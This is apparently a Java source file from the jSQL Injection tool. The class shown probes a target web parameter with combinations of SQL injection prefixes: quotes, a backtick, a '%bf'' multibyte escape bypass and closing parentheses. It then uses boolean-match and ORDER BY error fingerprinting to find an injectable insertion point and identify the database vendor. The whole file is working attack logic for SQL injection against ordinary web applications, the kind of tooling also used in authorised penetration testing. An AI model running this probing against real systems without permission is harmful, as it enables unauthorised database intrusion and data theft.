1 package com.jsql.model.suspendable;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.bean.util.Header;
5 import com.jsql.model.bean.util.Interaction;
6 import com.jsql.model.bean.util.Request;
7 import com.jsql.model.exception.JSqlException;
8 import com.jsql.model.exception.StoppedByUserSlidingException;
9 import com.jsql.model.injection.strategy.blind.InjectionCharInsertion;
10 import com.jsql.model.injection.vendor.MediatorVendor;
11 import com.jsql.model.injection.vendor.model.Vendor;
12 import com.jsql.model.suspendable.callable.CallablePageSource;
13 import com.jsql.util.I18nUtil;
14 import com.jsql.util.LogLevelUtil;
15 import org.apache.commons.lang3.RandomStringUtils;
16 import org.apache.commons.lang3.StringUtils;
17 import org.apache.logging.log4j.LogManager;
18 import org.apache.logging.log4j.Logger;
19
20 import java.util.*;
21 import java.util.concurrent.CompletionService;
22 import java.util.concurrent.ExecutionException;
23 import java.util.concurrent.ExecutorCompletionService;
24 import java.util.concurrent.ExecutorService;
25 import java.util.regex.Pattern;
26 import java.util.stream.Collectors;
27 import java.util.stream.Stream;
28
29
30
31
32
33
34
35
36
37 public class SuspendableGetCharInsertion extends AbstractSuspendable {
38
39
40
41
42 private static final Logger LOGGER = LogManager.getRootLogger();
43
44 private static final String LABEL_PREFIX = "prefix";
45
46 public SuspendableGetCharInsertion(InjectionModel injectionModel) {
47 super(injectionModel);
48 }
49
50 @Override
51 public String run(Object... args) throws JSqlException {
52 String characterInsertionByUser = (String) args[0];
53
54 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetInsertionCharacter");
55 CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
56
57 var charFromBooleanMatch = new String[1];
58 List<String> charactersInsertion = this.initCallables(taskCompletionService, charFromBooleanMatch);
59
60 var mediatorVendor = this.injectionModel.getMediatorVendor();
61 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting database and character insertion with Order by match...");
62
63 String charFromOrderBy = null;
64
65 int total = charactersInsertion.size();
66 while (0 < total) {
67 if (this.isSuspended()) {
68 throw new StoppedByUserSlidingException();
69 }
70 try {
71 CallablePageSource currentCallable = taskCompletionService.take().get();
72 total--;
73 String pageSource = currentCallable.getContent();
74
75 List<Vendor> vendorsOrderByMatch = this.getVendorsOrderByMatch(mediatorVendor, pageSource);
76 if (!vendorsOrderByMatch.isEmpty()) {
77 this.setVendor(mediatorVendor, vendorsOrderByMatch);
78
79 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Using [{}]", mediatorVendor.getVendor());
80 var requestSetVendor = new Request();
81 requestSetVendor.setMessage(Interaction.SET_VENDOR);
82 Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
83 msgHeader.put(Header.URL, this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlByUser());
84 msgHeader.put(Header.VENDOR, mediatorVendor.getVendor());
85 requestSetVendor.setParameters(msgHeader);
86 this.injectionModel.sendToViews(requestSetVendor);
87
88
89 charFromOrderBy = currentCallable.getCharacterInsertion();
90 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Character insertion [{}] matching with Order by and compatible with Error strategy", charFromOrderBy);
91 break;
92 }
93 } catch (InterruptedException e) {
94 LOGGER.log(LogLevelUtil.IGNORE, e, e);
95 Thread.currentThread().interrupt();
96 } catch (ExecutionException e) {
97 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
98 }
99 }
100 this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
101 if (charFromOrderBy == null && charFromBooleanMatch[0] != null) {
102 charFromOrderBy = charFromBooleanMatch[0];
103 }
104 return this.getCharacterInsertion(characterInsertionByUser, charFromOrderBy);
105 }
106
107 private void setVendor(MediatorVendor mediatorVendor, List<Vendor> vendorsOrderByMatch) {
108 if (
109 vendorsOrderByMatch.size() == 1
110 && vendorsOrderByMatch.get(0) != mediatorVendor.getVendor()
111 ) {
112 mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
113 } else if (vendorsOrderByMatch.size() > 1) {
114 if (vendorsOrderByMatch.contains(mediatorVendor.getPostgres())) {
115 mediatorVendor.setVendor(mediatorVendor.getPostgres());
116 } else if (vendorsOrderByMatch.contains(mediatorVendor.getMysql())) {
117 mediatorVendor.setVendor(mediatorVendor.getMysql());
118 } else {
119 mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
120 }
121 }
122 }
123
124 private List<Vendor> getVendorsOrderByMatch(MediatorVendor mediatorVendor, String pageSource) {
125 return mediatorVendor.getVendors()
126 .stream()
127 .filter(vendor -> vendor != mediatorVendor.getAuto())
128 .filter(vendor -> StringUtils.isNotEmpty(
129 vendor.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
130 ))
131 .filter(vendor -> {
132 Optional<String> optionalOrderByErrorMatch = Stream.of(
133 vendor.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
134 .split("[\\r\\n]+")
135 )
136 .filter(errorMessage ->
137 Pattern
138 .compile(".*" + errorMessage + ".*", Pattern.DOTALL)
139 .matcher(pageSource)
140 .matches()
141 )
142 .findAny();
143 if (optionalOrderByErrorMatch.isPresent()) {
144 LOGGER.log(
145 LogLevelUtil.CONSOLE_SUCCESS,
146 String.format("Order by fingerprint matching vendor [%s]", vendor)
147 );
148 }
149 return optionalOrderByErrorMatch.isPresent();
150 })
151 .collect(Collectors.toList());
152 }
153
154 private List<String> initCallables(CompletionService<CallablePageSource> taskCompletionService, String[] charFromBooleanMatch) throws JSqlException {
155 List<String> prefixValues = Arrays.asList(
156 RandomStringUtils.secure().next(10, "012"),
157 "1"
158 );
159 List<String> prefixQuotes = Arrays.asList(
160 SuspendableGetCharInsertion.LABEL_PREFIX +"'",
161 SuspendableGetCharInsertion.LABEL_PREFIX,
162 SuspendableGetCharInsertion.LABEL_PREFIX +"`",
163 SuspendableGetCharInsertion.LABEL_PREFIX +"\"",
164 SuspendableGetCharInsertion.LABEL_PREFIX +"%bf'"
165 );
166 List<String> prefixParentheses = Arrays.asList(StringUtils.EMPTY, ")", "))");
167 List<String> charactersInsertion = new ArrayList<>();
168 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting character insertion with Boolean match...");
169 for (String prefixValue: prefixValues) {
170 for (String prefixQuote: prefixQuotes) {
171 for (String prefixParenthesis: prefixParentheses) {
172 this.checkInsertionChar(charFromBooleanMatch, charactersInsertion, prefixValue, prefixQuote, prefixParenthesis);
173 }
174 }
175 }
176 for (String characterInsertion: charactersInsertion) {
177 taskCompletionService.submit(
178 new CallablePageSource(
179 characterInsertion
180 + StringUtils.SPACE
181 + this.injectionModel.getMediatorVendor().getVendor().instance().sqlOrderBy(),
182 characterInsertion,
183 this.injectionModel,
184 "prefix#orderby"
185 )
186 );
187 }
188 return charactersInsertion;
189 }
190
191 private void checkInsertionChar(
192 String[] charFromBooleanMatch,
193 List<String> charactersInsertion,
194 String prefixValue,
195 String prefixQuote,
196 String prefixParenthesis
197 ) throws StoppedByUserSlidingException {
198 String characterInsertion = prefixQuote.replace(SuspendableGetCharInsertion.LABEL_PREFIX, prefixValue) + prefixParenthesis;
199 charactersInsertion.add(characterInsertion);
200
201 if (charFromBooleanMatch[0] == null) {
202 var injectionCharInsertion = new InjectionCharInsertion(
203 this.injectionModel,
204 characterInsertion,
205 prefixQuote + prefixParenthesis
206 );
207 if (injectionCharInsertion.isInjectable()) {
208 if (this.isSuspended()) {
209 throw new StoppedByUserSlidingException();
210 }
211 charFromBooleanMatch[0] = characterInsertion;
212 LOGGER.log(
213 LogLevelUtil.CONSOLE_SUCCESS,
214 "Found character insertion [{}] using Boolean match",
215 () -> charFromBooleanMatch[0]
216 );
217 }
218 }
219 }
220
221 private String getCharacterInsertion(String characterInsertionByUser, String characterInsertionDetected) {
222 String characterInsertionDetectedFixed = characterInsertionDetected;
223 if (characterInsertionDetectedFixed == null) {
224 characterInsertionDetectedFixed = characterInsertionByUser;
225 String logCharacterInsertion = characterInsertionDetectedFixed;
226 LOGGER.log(
227 LogLevelUtil.CONSOLE_ERROR,
228 "No character insertion found, forcing to [{}]",
229 () -> logCharacterInsertion.replace(InjectionModel.STAR, StringUtils.EMPTY)
230 );
231 } else if (!characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY).equals(characterInsertionDetectedFixed)) {
232 String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY);
233 LOGGER.log(
234 LogLevelUtil.CONSOLE_INFORM,
235 "Using [{}] and [{}]",
236 () -> this.injectionModel.getMediatorVendor().getVendor(),
237 () -> characterInsertionDetected
238 );
239 LOGGER.log(
240 LogLevelUtil.CONSOLE_DEFAULT,
241 "Add manually the character * like [{}*] to force the value [{}]",
242 () -> characterInsertionByUserFormat,
243 () -> characterInsertionByUserFormat
244 );
245 } else {
246 LOGGER.log(
247 LogLevelUtil.CONSOLE_INFORM,
248 "{} [{}]",
249 () -> I18nUtil.valueByKey("LOG_USING_INSERTION_CHARACTER"),
250 () -> characterInsertionDetected.replace(InjectionModel.STAR, StringUtils.EMPTY)
251 );
252 }
253 return characterInsertionDetectedFixed;
254 }
255 }